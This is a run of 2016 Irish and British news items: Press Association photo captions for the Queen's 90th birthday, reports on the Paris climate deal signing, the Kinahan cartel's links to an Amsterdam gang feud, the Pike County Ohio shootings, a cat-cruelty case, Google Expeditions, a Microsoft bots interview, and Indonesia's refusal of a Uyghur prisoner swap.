4-2 victory over West Germany, in an exciting World Cup Final that went to extra time at Wembley, London as the Queen turns 90 on the April 21st.PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 03/11/1964 of Queen Elizabeth II leaving after the State Opening of Parliament as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 02/06/53 after the coronation in Westminster Abbey, London showing Queen Elizabeth II wearing the St. Edward Crown and carrying the Sceptre and the Rod as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 23/03/62 of Queen Elizabeth II (left) wearing a leopard-skin coat at a Sandown Park race meeting as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 01/07/58 of Queen Elizabeth II during her visit to Rothes Colliery, Fifeshire, it was her first visit to a coal mine and she spent about half an hour underground visiting the coal face as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 07/02/52 of Queen Elizabeth II, in a black mourning outfit, waving as she returns to Clarence House in London the day after she became Queen as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 02/06/56 of Queen Elizabeth II walking through Windsor Great Park with Prince Charles to watch the Duke of Edinburgh play polo as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 20/11/1947 of Princess Elizabeth (now Queen Elizabeth II) and Lt Philip Mountbatten at Buckingham Palace after their wedding ceremony as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 10/11/1946 of Princess Elizabeth (now Queen Elizabeth II) laying a wreath at the Cenotaph on Remembrance Sunday as she turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated18/04/1944 of Princess Elizabeth (now Queen Elizabeth II) visiting the National Sea Scouts Exhibition at the London Scottish Headquarters in Buckingham Gate as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 01/04/1939 of Princesses Elizabeth (now Queen Elizabeth II) and Margaret launching a model seaplane at the Bekonscot model village in Beaconsfield, Buckinghamshire as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 27/06/1927 of the Duke and Duchess of York with King George V and Queen Mary and Princess Elizabeth (now Queen Elizabeth II) on the balcony of Buckingham Palace as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 21/10/1950 of Princess Elizabeth (now Queen Elizabeth II) with her baby daughter, Princess Anne, after the christening at Buckingham Palace, London as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 24/10/1931 of Princess Elizabeth (now Queen Elizabeth II) arriving at the 16th Century Church at Balcombe, Sussex, for the wedding of Lady May Cambridge and Captain Henry Abel Smith as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 01/01/1938 of King George VI, his wife Queen Elizabeth and their two daughters, Princess Elizabeth (now Queen Elizabeth II, right) and Princess Margaret as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 01/05/1936 of Princess Elizabeth (now Queen Elizabeth II, left) and Margaret with the Duke and Duchess of York at the Royal Tournament at Olympia in London as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA BEST QUALITY AVAILABLE File photo dated 01/01/1943 of Princess Elizabeth (now Queen Elizabeth II, centre back) and King George VI, as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 29/05/1930 of Princess Elizabeth (now Queen Elizabeth II) arriving at Olympia for the Royal Tournament as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 27/05/1932 of Princess Elizabeth (now Queen Elizabeth II)walking bareheaded through the rain on her arrival home as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 01/01/1941 of Princess Elizabeth (now Queen Elizabeth II) in the garden of her wartime country residence (Windsor) as the Queen turns 90 on the April 21st. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. See PA story ROYAL Birthday. Photo credit should read: PA Wire PA File photo dated 08/06/82 of the then US President Ronald Reagan and Queen Elizabeth II riding in Windsor Home Park, as more than any other interest, horses and ponies have been the Queen's passion throughout her long life. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. The monarch's love for the equine world is something she shared with her mother and she has been breeding and racing horses for more than 60 years. See PA story ROYAL Birthday Horse. Photo credit should read: PA Wire PA File photo dated 19/04/47 of Princess Elizabeth (now Queen Elizabeth II) during the Royal visit to the Natal National Park in South Africa, Shortly before her 21st birthday, as the Queen's birthday celebrations over the past 90 years have ranged from a quiet morning ride with her children at Windsor to a grand birthday ball for 500 guests. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. Her 40th birthday coincided with the State Opening of Parliament and her 80th was a busy affair including a walkabout, an intimate family dinner followed by fireworks, and a special tribute from the Prince of Wales broadcast to the nation. The monarch celebrates two birthdays each year: her actual one on April 21, as well as her official one on a Saturday in June marked by the Trooping the Colour parade. See PA story ROYAL Birthday Past. Photo credit should read: PA Wire PA File photo dated 16/06/12 of Queen Elizabeth II (fourth from left) and members of the British royal family (from left to right) the Duchess of Cornwall, the Prince of Wales, the Earl of Wessex, the Princess Royal, the Duke of Edinburgh, the Duchess of Cambridge, the Duke of Cambridge on the balcony of Buckingham Palace during the annual Trooping the Colour parade, in central London. The Queen may be the head of state, but she is also a mother of four, grandmother to eight grandchildren and great-grandmother to five. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. While she is familiar around the world to millions as a sovereign, it is the Windsors who know the real Elizabeth II, sharing precious family time behind closed doors. See PA story ROYAL Birthday Family. Photo credit should read: Dominic Lipinski/PA Wire PA File photo dated 22/04/68 of (left to right) The Duke of Edinburgh, Princess Anne, Prince Edward, Queen Elizabeth II, Prince Andrew and Prince Charles in the grounds of Frogmore House, Windsor, as the Queen may be the head of state, but she is also a mother of four, grandmother to eight grandchildren and great-grandmother to five. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. While she is familiar around the world to millions as a sovereign, it is the Windsors who know the real Elizabeth II, sharing precious family time behind closed doors. See PA story ROYAL Birthday Family. Photo credit should read: PA Wire PA File photo dated 05/07/15 of the Duchess of Cambridge and Queen Elizabeth II with Princess Charlotte during her christening, as the Queen may be the head of state, but she is also a mother of four, grandmother to eight grandchildren and great-grandmother to five. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. While she is familiar around the world to millions as a sovereign, it is the Windsors who know the real Elizabeth II, sharing precious family time behind closed doors. See PA story ROYAL Birthday Family. Photo credit should read: Matt Dunham/PA Wire PA Princess Elizabeth (now Queen Elizabeth II) holding a Corgi, as the breed have been the Queen's life-long companions - small dogs described as having big personalities. PA Wire PA File photo dated 23/11/47 of Princess Elizabeth (now Queen Elizabeth II) and The Duke of Edinburgh during their first public appearance since their wedding, as more than any other person, the Duke of Edinburgh has had a profound effect on the Queen. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. He has been a constant reassuring presence by her side at official events from the State Opening of Parliament to official trips abroad for more than 60 years. See PA story ROYAL Birthday Influences. Photo credit should read: PA Wire PA File photo dated 01/04/44 of Queen Elizabeth (now the Queen Mother) and King George VI with their daughter Princess Elizabeth (now Queen Elizabeth II) shortly before her 18th birthday, as the Queen's birthday celebrations over the past 90 years have ranged from a quiet morning ride with her children at Windsor to a grand birthday ball for 500 guests. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. Her 40th birthday coincided with the State Opening of Parliament and her 80th was a busy affair including a walkabout, an intimate family dinner followed by fireworks, and a special tribute from the Prince of Wales broadcast to the nation. The monarch celebrates two birthdays each year: her actual one on April 21, as well as her official one on a Saturday in June marked by the Trooping the Colour parade. See PA story ROYAL Birthday Past. Photo credit should read: PA Wire PA File photo dated 01/01/1897 of Queen Victoria's Diamond Jubilee photographic portrait, as Elizabeth II will be the first British monarch to reach their 90th birthday. PRESS ASSOCIATION Photo. Issue date: Sunday April 3, 2016. She is the country's oldest ever sovereign - although is not thought to be keen on being reminded of this - and also the oldest monarch in the world. The Queen is some way ahead of her great-great-grandmother Victoria and her ancestor George III in the age stakes - they were both 81 when they died. See PA story ROYAL Birthday Queen. Photo credit should read: PA Wire PA / Facebook

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Whatsapp File photo dated 03/05/1928 of Princess Elizabeth (now Queen Elizabeth II) waving from the carriage as she drives in London as the Queen turns 90 on the April 21st.

The Duke said as they marked their golden wedding anniversary that tolerance was the one essential ingredient of any happy marriage, adding: You can take it from me that the Queen has the quality of tolerance in abundance.

Philip has been described as the only man in the world who treats the Queen simply as another human being  something she values greatly.

Princess Eugenie once said of her grandparents: Together, they are invincible.

As a grandmother

The Queens grandchildren have paid tribute to the stability their granny has provided them with, and described their pride at her devotion to duty.

The Duke of Cambridge told ITVs recent documentary Our Queen At Ninety: Shes never dictated what we should do. Its that quiet guidance.

Peter Phillips, the Queens eldest grandson, has recalled fond memories of holidays with her at Sandringham, Balmoral and Windsor.

We had a lot of fun and there was a lot of space for kids to run around in. It wasnt just us, it was the Waleses [William and Harry], Freddie and Ella Windsor and the Gloucesters, Peter told ITVs Good Morning Britain.

So there was quite a gang of us growing up and it was a lot of fun. We caused quite a bit of mayhem and chaos.

Queen Elizabeths eight grandchildren are: Peter Phillips, Zara Phillips, the Duke of Cambridge, Prince Harry, Princess Beatrice, Princess Eugenie, Lady Louise Windsor and Viscount Severn.

As a great-grandmother

To two-year-old Prince George, the Queen is gan gan and the

Duchess of Cambridge revealed in ITVs documentary that the Queen always leaves a little gift out for George and his younger sister Princess Charlotte when the Cambridge family comes to stay.

The Queens great-grandchildren are: Savannah and Isla Phillips, Prince George, Mia Tindall and Princess Charlotte.

As an aunt

The Queens nephew Viscount Linley and niece Lady Sarah Chatto hold a special place in her heart. The children of her sister Princess Margaret keep a low profile, but the Queen keeps in close contact with them.

As a mother-in-law

The Countess of Wessex, married to the Queens youngest son the Earl of Wessex, has a strong bond with the monarch.

Despite a rocky start  which involved an embarrassing Fake Sheikh sting  Sophie, who used to work in public relations, is seen as a safe pair of hands by the Queen and a trusted ally. They are said to share a fascination with military history.

The Duchess of Cornwall  a later addition to the Queens in-laws  has also grown closer to the monarch. They share a love of horses and dogs, and the monarch is said to see how happy and settled Camilla has made her son.

The Queen and the Duchess have even carried out joint engagements together  a move which would have been inconceivable just over a decade ago when it seemed unlikely the Prince would ever marry his former mistress.
Dozens of countries, including the UK, are to sign a major climate change agreement at the UN

The UK is among more than 160 countries set to sign up to the world's first comprehensive deal to tackle climate change at a ceremony in New York.

But environmental campaigners in the UK are criticising the Government for continuing to back fossil fuel extraction at home despite supporting the international climate deal to drive down greenhouse gases.

The Paris Agreement to curb rising temperatures and avoid "dangerous" climate change was secured at United Nations talks in the French capital in December.

An official ceremony at the UN in New York will see more than 160 countries and the European Union sign up to the deal on Friday, the first day it is open for signing - Earth Day.

A handful of countries will also ratify the agreement, and there is a push for nations to follow suit as soon as possible so the deal can enter into force quickly.

At least 55 countries covering 55% of the world's emissions need to ratify the deal for it to come into force.

While Energy Minister Lord Bourne is attending the ceremony to sign the agreement for the UK, the Government faces criticism at home for continuing to allow mining for coal, the dirtiest fossil fuel.

Friends of the Earth is send a tonne of coal to the Government , with each lump representing one of almost 10,000 signatories to a petition calling for a change to planning rules to stop new opencast coal mines.

Curbing global climate emissions to prevent dangerous temperature rises will require leaving most of the world's fossil fuels in the ground, they say.

Friends of the Earth climate campaigner Guy Shrubsole said: "To meet the Paris Agreement, the Government must leave fossil fuels, like coal, in the ground - yet we're still permitting vast new opencast coal mines to be dug up next door to communities and beauty spots across the UK."

He urged ministers to leave coal in the ground.

The Paris Agreement sets a target to keep temperature rises "well below" 2C and commits to strive to curb increases to 1.5C, as well as a five-year review system to increase ambition on cutting emissions to meet the temperature goals.

As the deal spells out the need for greenhouse gases to peak as soon as possible, and sets aims for the second half of the century that effectively mean the world will have to reach net zero emissions, it has been seen as signalling the end of the fossil fuel era.

But concerns have been raised over the UK Government's moves to cut subsidies for renewables, low carbon technology and energy efficient homes while supporting fracking and extraction of North Sea oil and gas.

Energy and Climate Change Secretary Amber Rudd said the UK was one of the first developed countries to commit to taking coal power out of the energy mix, a move she announced before the UN talks in December, with an end date of 2025.

As campaigning for the EU referendum intensifies, Ms Rudd said the accord secured in Paris showed how the UK was stronger within Europe, allowing the UK to play a leading role as part of the bloc in tackling global challenges.

"The global deal reached in Paris was a significant milestone in tackling climate change, helping to safeguard our long-term economic security and giving clear direction to businesses as we transition to a low-carbon economy.

"As part of the EU, the UK played a key role in securing this deal, ensuring it was in the interest of British families and businesses by levelling the playing field between us and the rest of the world and making sure that every country makes its fair share of effort to combat climate change," she said.

Greenpeace UK executive director John Sauven said: " The world leaders in New York today will be judged not on the brilliance of their rhetoric but on the boldness of their actions.

"David Cameron's government did the right thing by phasing out coal, but the next generation won't judge him kindly if it keeps undermining clean energy and subsidising fossil fuels."
Man's head was found outside the Fayrouz Lounge in Amsterdam. Image: Google

The notorious Christy Kinahan cartel are closely associated with a feared mob who are involved in a deadly criminal feud being played out in Amsterdam.

The Dutch violence has proven to be more deadly than the Kinahan cartel's bitter gang war here with the Hutch mob.

The feud in the Netherlands has already led to:

The shocking murder of a criminal involved in the gang war whose severed head was left in a bucket outside a cafe



A mother being shot dead in front of her children



16 brutal killings - including completely innocent victims - since the continental feud kicked off in 2014. This compares with five in the Hutch/Kinahan feud which started with Gary Hutch's murder in Spain last Sepetember.

It emerged this week that the Irish cartel have been closely linked to a vicious Dutch mobster, Gwenette Martha, who was shot dead in central Amsterdam in May 2014 - three months after two hitmen gunned down fellow gang member Mohammed el Mayouri near a cafe.

Investigated

"The links between these crime organisations is being actively investigated by police forces across Europe and has been for some time," a source said last night.

"It is well known that many of the key players in the cartel, including Freddie Thompson and Christy Kinahan Snr, have spent time living in Amsterdam.

"It is not believed that they have been active participants in the Netherlands feud - but investigations have established they are strongly linked to one side that has been involved in the bloodbath there and have been for a number of years," the source explained.

"It has been established that there have been meetings between players in the Dutch gang and the Kinahan cartel in Ireland, Holland and Spain.

"In turn, a number of English gangs are also associated with this crime network," the source added.

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The latest gruesome incident linked to the Dutch feud occurred on March 9 when a severed head was found outside a shisha cafe in Amsterdam. The victim's decapitated body was found the previous day.

The head was discovered outside the Fayrouz lounge close to Amsterdam's popular Vondelpark.

It was found inside a blue bucket on the pavement and was "turned so that his face looked through the windows". Detectives identified the body as 23-year-old Nabil Amzieb, and said he was "known to police".

It is understood he was due to give evidence in a trial related to the bloody feud.

The man was part of the city's Moroccan mafia, according to Dutch newspaper, the Telegraaf.

Local media reported the location where the head was found is a significant place for the gangs of the city, who are involved in what the paper calls the "Mocro war".

It is understood an associate of the Kinahan cartel is a suspect for this brutal murder.

The lounge was reported to have been a meeting place for criminal activity since 2012, according to NL Times.

At least 16 people have died in the Netherlands, Belgium and Spain in related underworld killings since March 2012, when a gang stole almost 20m worth of cocaine - most of it reportedly destined for the Irish and British market - entering Europe through the Belgian port of Antwerp.

Another notable murder in the bitter Amsterdam feud was that of Luana Luz Xavier (34), the girlfriend of an Amsterdam criminal involved in the feud, who was shot dead in front of her teenage daughter and son in December 2014.

Six months earlier, innocent custom services manager Stefan Eggermont (30) was shot dead in a case of mistaken identity as part of the feud.

In scenes similar to February's Regency Hotel gun attack in Dublin, Kinahan-aligned mobster Gwenette Martha was shot dead in an Amsterdam suburb as he came out of a kebab shop in March 2014.

Despite wearing a bullet-proof vest, he was hit by 80 rounds from two or more AK47 rifles. So many rounds were fired that Dutch police said it was a miracle no-one else was hit.

The bitter Amsterdam feud has led to several public shootouts that began with the murder of Najeb Bouhbouh (34) who was gunned down at the Crowne Plaza hotel in Antwerp, Belgium in October 2012.

Ironically, cartel overlord Christy Kinahan Snr. was residing in Antwerp at this time but in the city's main jail serving a four-year sentence for fraud-related offences.

The money-laundering case was brought against the drug boss following his arrest by Belgian federal police, in May 2008 who later released him.

Extradited

He was extradited to Belgium from Spain in 2010 as part of the massive international Operation Shovel into his estimated 500m drugs enterprise before leaving jail in Belgium three years ago.

Meanwhile, sources say that tensions remain high on the streets of Dublin after last week's murder of innocent dad-of-three Martin O'Rourke who gardai believe was shot dead by a Kinahan gun-for-hire whose intended target was Hutch mobster Keith Murtagh (32).

It emerged last night that the cartel are attempting to find out Murtagh's location in the UK in an attempt to murder him.

Herald
Eight people have been found dead following a shooting in Ohio, it has been reported.

US broadcaster CNN has reported that the eight victims were members of the same family and had been shot in the head "execution style," most while they slept.

It is believed that three children survived the attack.

Pike County Sheriff Charles Reader said that the killer or killers may still be on the loose.

"I am still actively looking for a shooter," Mr Reader told a press conference on Friday.

"I cannot confirm that there is no one on the loose who is not involved with this. If he is, he's armed and dangerous."

More than a dozen officials from multiple agencies were sent to crime scenes in Piketon, south of Columbus.

A pastor at the scene said the violence may have been the result of a "domestic situation".

Mr Reader named the family involved in the tragedy as the Rhoden family.

Police have not determined a motive or identified the dead, and have not determined whether the killer is among the deceased.

#FBI Cincinnati is closely monitoring the situation in Pike County and has offered assistance to the Pike County Sheriff's Office. #BREAKING  FBI Cincinnati (@FBICincinnati) April 22, 2016

All of the victims were found in homes along Union Hill Road in Pike County. The Pike County Sheriff said there are four active crime scenes spanning about 30 miles (48km).

Ohio Attorney General Mike Mike DeWine said it is possible some of the victims were shot overnight because they were found in their beds.

"One mom was apparently killed in her bed with [the four-day-old child] right there," said Mr DeWine. "It's hard to believe."

Authorities do not believe any of the deaths were suicides and are urging residents of the county to come forward with any information they might have.

Local schools Peebles Elementary and Peebles High School were earlier on "lockout" - no-one went in or out - due to the ongoing situation in Piketon, a spokesperson for Adams County Ohio Valley Schools said.

The FBI in Cincinnati tweeted that they are "closely monitoring the situation".

Ohio Governor John Kasich and Republican presidential candidate tweeted that the situation is "tragic beyond comprehension".
Declan Garrity being led away from his New York apartment

A US court has issued an arrest warrant for a Northern Ireland man who allegedly tortured his flatmate's cat after he returned home when his visa expired.

Declan Garrity (24), from Omagh, stands accused of ripping out the claws of Lucy, breaking bones in her face, pelvis and legs and burning her after moving into the apartment in November.

The financial analyst was working for Barclays when he was arrested by police last month. He was charged with aggravated cruelty to animals and torturing and injuring animals and released on a $5,000 (3,500) bond.

A criminal complaint filed by the Manhattan District Attorney's Office stated: "Shortly after (Garrity) moved into the apartment the individual observed Lucy's behaviour change, including hiding in the individual's bedroom closet, not eating and constantly licking her paws."

It added that Garrity told his flatmate on January 25 that an iron had fallen on the cat while he was at work.

Garrity was fired from Barclays on March 4 and told he had a month to leave the US.

"It is your obligation to comply with the immigration regulations by either departing the US or applying to US Citizenship and Immigration Services for a change in status to another non-immigrant visa category as soon as possible," a letter purportedly sent by the bank and obtained by a US website said.

The same site claimed that Barclays paid or would pay for Garrity's flight home as part of a "settlement term" of the termination of his employment, with the Tyrone man getting the payment in a lump sum.

"We understand that your last place of foreign residence is Northern Ireland, UK," the letter stated.

"We have determined that the cost of a one-way, economy fare ticket to Belfast, Ireland, is $662.90."

Garrity was due before Manhattan Supreme Court on Tuesday to be arraigned on the animal cruelty charges.

Justice James Burke issued a bench warrant for him after speaking with lawyers involved in the case.

Assistant District Attorney Erin Satterthwaite said she spoke to officials at the US Department of Homeland Security.

"When there is a criminal case pending, there are different procedures," she added.

She said that because of the additional circumstances "he would not necessarily be reacquired to leave". "This is absolutely a wilful and voluntary absence," she added.

Garrity's defence lawyer Telesforo Del Valle jnr said his client saw an immigration lawyer for advice before leaving the country. The lawyer informed him he would be in the US illegally if he did not leave.

A GoFundMe page was set up to raise money for Lucy's veterinary treatment.

An update shared on the page two days ago revealed the cat was doing well and was no longer taking medication.

"Her feeding tube has been removed and Lucy continues to do just fine eating on her own," the post read. "She's been extra playful and is even running."
Google Expeditions: Google is rolling out its Expeditions initiative to schools throughout Ireland to let students see the world in virtual reality

Google is rolling out its Expeditions kits to schools in Ireland and the UK, enabling students to see the world without leaving the classroom.

The kit is made up of Google Cardboard VR headsets and compatible smartphones, a tablet, a wireless router, and a designated app. These in tandem enable teachers to bring up to 50 students at a time to see sights like the Great Barrier Reef and the Taj Mahal, or experience things landing on the Moon.

With Expeditions, Google aims to help students explore the whole world right from the comfort of their classroom desks company spokesman Patrick Lenihan said. The Pioneer Program brings Google Expeditions right to students and teachers so they can take trips anywhere from the Great Barrier Reef to the bottom of the Grand Canyon.

The app comes preloaded with panoramic images from 220 locations. The teacher controls what the students see using the tablet, which is wirelessly connected to the smartphones held by the Google Cardboard viewer.

Google Expeditions is in a pilot phase and has been rolled out in the US, Canada, Mexico, and Sweden. Ireland has become the latest country for the programme to be rolled out in.

Google Expedition programme demonstrators will be visiting schools in Dublin and Belfast over the next two weeks to train teachers in how to use the kit and to show off its capabilities.

Irish Independent
Derrick Connell is talking to a group of nerd journalists in San Francisco about the future of Microsoft's plans in search and voice. But while colleagues and reporters liberally throw around tiresome Valley-speak superlatives ("awesome amazing really cool so exciting"), Connell's Meath-based upbringing just won't let him do it.

"I do use the word 'Mom', but that's because we used it in Trim when I was growing up," he tells me later.

At this point, Connell is probably entitled to use whatever the hell flavour of English he wants. Over the last 12 years in Seattle, he has risen to become one of the company's most influential corporate vice presidents in his role as head of search engineering with Bing. As such, Connell may be the most senior Irish person in the top five multinational tech companies at present.

Most recently, he has been a central figure in planning Microsoft's next big online strategy: artificial intelligence. Online bots, says the tech giant, are going to be the next big thing in ecommerce and customer service. And Connell, along with Microsoft's head of applications and services, Qi Lu, was the one who helped convince Microsoft chief executive Satya Nadella to build a new company strategy around such artificial intelligence.

According to Bloomberg's Dina Bass, the key decision around the software giant's strategy shift was taken on a two-hour flight from Silicon Valley to Seattle. "Connell showed him designs for new, AI-enhanced versions of the Outlook e-mail program and Skype," Bass wrote. "By the time the plane landed, Nadella decided it was the big strategic move the company needed."

But what are online bots? And what sort of effect will they have on ordinary users and businesses?

At its Build developers' conference in San Francisco, Microsoft showcased a bucketload of new tools to help companies build and customise artificial intelligence systems online to help with everything from ordering a pizza to booking a hotel room.

One of the demonstrations on stage involved a bot-made booking with the Westin Hotel Dublin within Skype. Not only did the bot make the reservation, but it also delved into the user's messages to organise a reunion with a Dublin-based friend.

"Some days I think there'll be a billion bots within a year," says Connell when I catch up with him after the Microsoft event. "But sometimes I think it might be five years. I spend a lot of time in China these days and the WeChat example there is interesting. You have 80-year-old women who would connect to their phone to get a train ticket. What used to be a real person at the end of that phone is now becoming a bot, so the human only needs to take care of 20pc of the traffic. I can see this developing quickly."

All of this is tied up with what Connell claims is a 'third wave' of computing and what his boss (Nadella) now calls 'Converstions As A Platform'.

"If you dissect the tech that's required to do conversation as a platform, there are a few aspects," says Connell. "It's conversational in that there's an aspect of understanding speech, knowing what people are saying including different dialects and understanding intent."

This is where Connell's Bing engineering team comes in. Conversations are complex strings of words, sounds, lilts and pauses. Trying to build an artificial system that can recognise, process and assign other functions to such utterances is beyond most conventional coding tasks, not to mention "the cloud based rendering user interface" that Connell is talking about.

But valuable lessons have been learned from Microsoft's research in search and voice, he says.

"We've been investing heavily in the things behind this, especially for search," says Connell. "It's a knowledge graph that we've been building for four and a half years. Our knowledge of the world has significantly improved. It's an exponential curve, not just for search, but for intent and understanding. The system needs to understand when my mom tells it that she's looking for a car parking space."

Despite its stated ambition, Microsoft's experience with bots has not been plain sailing. Its own experimental chatbot, Tay, had to be yanked offline earlier this year when it was gamed by mischief makers to repeat racist propaganda last month.

But what Microsoft wants to do now, says Connell, is to attract as many developers as possible to help build an intelligent ecosystem up. At its recent Microsoft Build conference in San Francisco, it unveiled plans for developer tools to make more advanced bots. These will be able to work with natural language and will be capable of integration into a number of platforms, including email, the web, Slack, Skype and Telegram.

Connell's main role is still connected to Bing, the search product that still has an underdog tag. He runs most of its constituent parts, from its design studio, animators and editors to its engineering team and developers.

"It's really diverse," he says of the 2,000-strong Bing-related workforce. "There are even people in Dublin who do work for Bing."

In Europe, Bing is regarded as a novelty, miles behind Google. But in the US, Bing is now a player. According to recent ComScore reports, it has around 21pc of the desktop search market there. This is a big turnaround from the days when Bing was costing Microsoft close to 1bn per quarter.

"Over the last the years, we have gotten it to competitive quality," says Connell. "I started in 2004 at its outset. At that point, no-one thought we could have a credible product compared to Google. But we targeted the top six or seven countries and spent a couple of years on that. Outside the US, we're still working on it. But in some of the bigger countries like the UK, we're close to it. Our market share in the UK is close to 11 or 12pc."

Much of Bing's progress comes through deals that Microsoft has struck such as those with Yahoo and Apple's Siri.

"The market is shifting," says Connell. "For any company that seeks a good partner for search engine, we make good economic deals. We're willing to be accommodating."

Not everything is growing at Microsoft these days. Any strategy it had of aggressively going head to head with Apple and Google in mobile phone ecosystems has been quietly distilled over the last 12 months.

This is apparent in the company's global mobile market share, which has sunk from over 7pc to below 5pc and continues to gall.

In his recent 'Build' keynote, Satya Nadella addressed the issue.

"For us, mobile first is not about the mobility of any single device, it's the mobility of the experience across different devices," he said.

But despite Microsoft's impetus with a Universal Windows Platform project that would see developers' apps transfer between PCs, tablets and Windows phones, the company's oft-repeated 'mobile first' philosophy looks a lot more bendable than it once was.

"My perspective is that Satya talked about conversations as a platform, almost entirely led by mobile," says Connell. "Conversations will be on mobile devices. Also, Internet Of Things devices will be important here too, like having a Sonos in your home that you can have a conversation with. The work that we're doing on Cortana will make this available through for any developer. And we know that the companion device may not be a Windows device. So a large part of the strategy is to be cloud-based so that we can make our services available on any endpoint device."

This pivot on Microsoft's mobile strategy is not the only note of caution from Microsoft's recent Build conference. Nadella went out of his way to raise issues around machine ethics as a preface to the wider conversation around artificial intelligence.

"All technology that we built has to be more inclusive and respectful," he said at the San Francisco event. "We want to build technology that gets the best of humanity and not the worst. Ultimately it is not going to be about man versus machine. It is going to be about man with machines."

This may be an acknowledgement of teething difficulties with online AI system that Microsoft has tried, such as Tay. Or it may be an echo of fears raised by industry grandees, such as Bill Gates, Elon Musk and Stephen Hawking about giving machines ever deeper levels of artificial intelligence only to risk the rise of genuinely dangerous robots.

Killer droids, though, are not on the immediate task list for Connell. For him, computing is moving in waves.

"The way I think about it is in three waves," he says. "You have the traditional PC desktop application wave which will continue for many decades in the future. That's been modernised with Windows 10 and that wave of tech will play out, with things such as intelligence and Cortana being relevant there. There's a second wave of internet and browser where search is the canonical power. That tech wave will also take advantage of things like Cortana. And then there's a third emerging wave which is the conversation as a platform. All of the partners want to get into that game. It will be interesting to see how fast they do."

Irish Independent
Indonesian officials said Thursday they had turned down a request from the Chinese government to exchange a fugitive Indonesian banker captured in China for four Uyghur prisoners serving terrorism-related sentences in Indonesia.

Indonesian Attorney General Agung M. Prasetyo told parliament that the government had refused the Chinese request for a four-for-one swap of prisoners, but that the Chinese had agreed to deport the Indonesian fugitive, Samadikun Hartono.

They finally understood, and tonight we will receive and process Samadikun, Prasetyo said.

Meanwhile, an anonymous Indonesian official told BenarNews that, in exchange for Samadikun, the Indonesians had agreed to give Chinese officials unprecedented access to question the Uyghurs imprisoned in Indonesia.

Elsewhere, Luhut Binsar Panjaitan, Indonesias coordinating minister for political, legal and security affairs, briefed reporters in Jakarta about why Indonesia had declined to exchange the four Uyghurs for Samadikun, a former banker.

We told them [the Chinese government], its not that easy to do that, because they were tried on different charges linked to different cases, Luhut said at his office in Jakarta.

Any transfer of Uyghur prisoners should be discussed separately, he added.

He pointed out that Samadikun and the four Uyghurs had committed their crimes in Indonesia, not on Chinese soil.

Beijing had asked Jakarta to trade the four Uyghurs, who were convicted last year on charges of attempting to join the Eastern Indonesia Mujahideen (MIT), a militant group based in Central Sulawesi province and led by Santoso, Indonesias most wanted militant, for Samadikun.

The same as killing them

In July, a West Jakarta court sentenced each of the Uyghurs  Ahmed Bozoglan, Ahmet Mahmud, Abdul Basit and Altinci Bayram  to six years in prison. They were arrested in Central Sulawesi in September 2014, after using fake Turkish passports and visas to enter the country.

Uyghurs are a Muslim minority who mostly live in Xinjiang, a province in northwestern China, but they are also spread across Kazakhstan, Kyrgyzstan, Uzbekistan and Turkey. Rights groups have accused China of persecuting Uyghurs.

During the trial of the four Uyghurs, their defense lawyers argued that they were Turkish citizens who should not be deported to China  a move that Indonesian authorities were considering then.

An Indonesian official who requested anonymity said Indonesia would face international pressure if the country had agreed to deport the Uyghur prisoners to China.

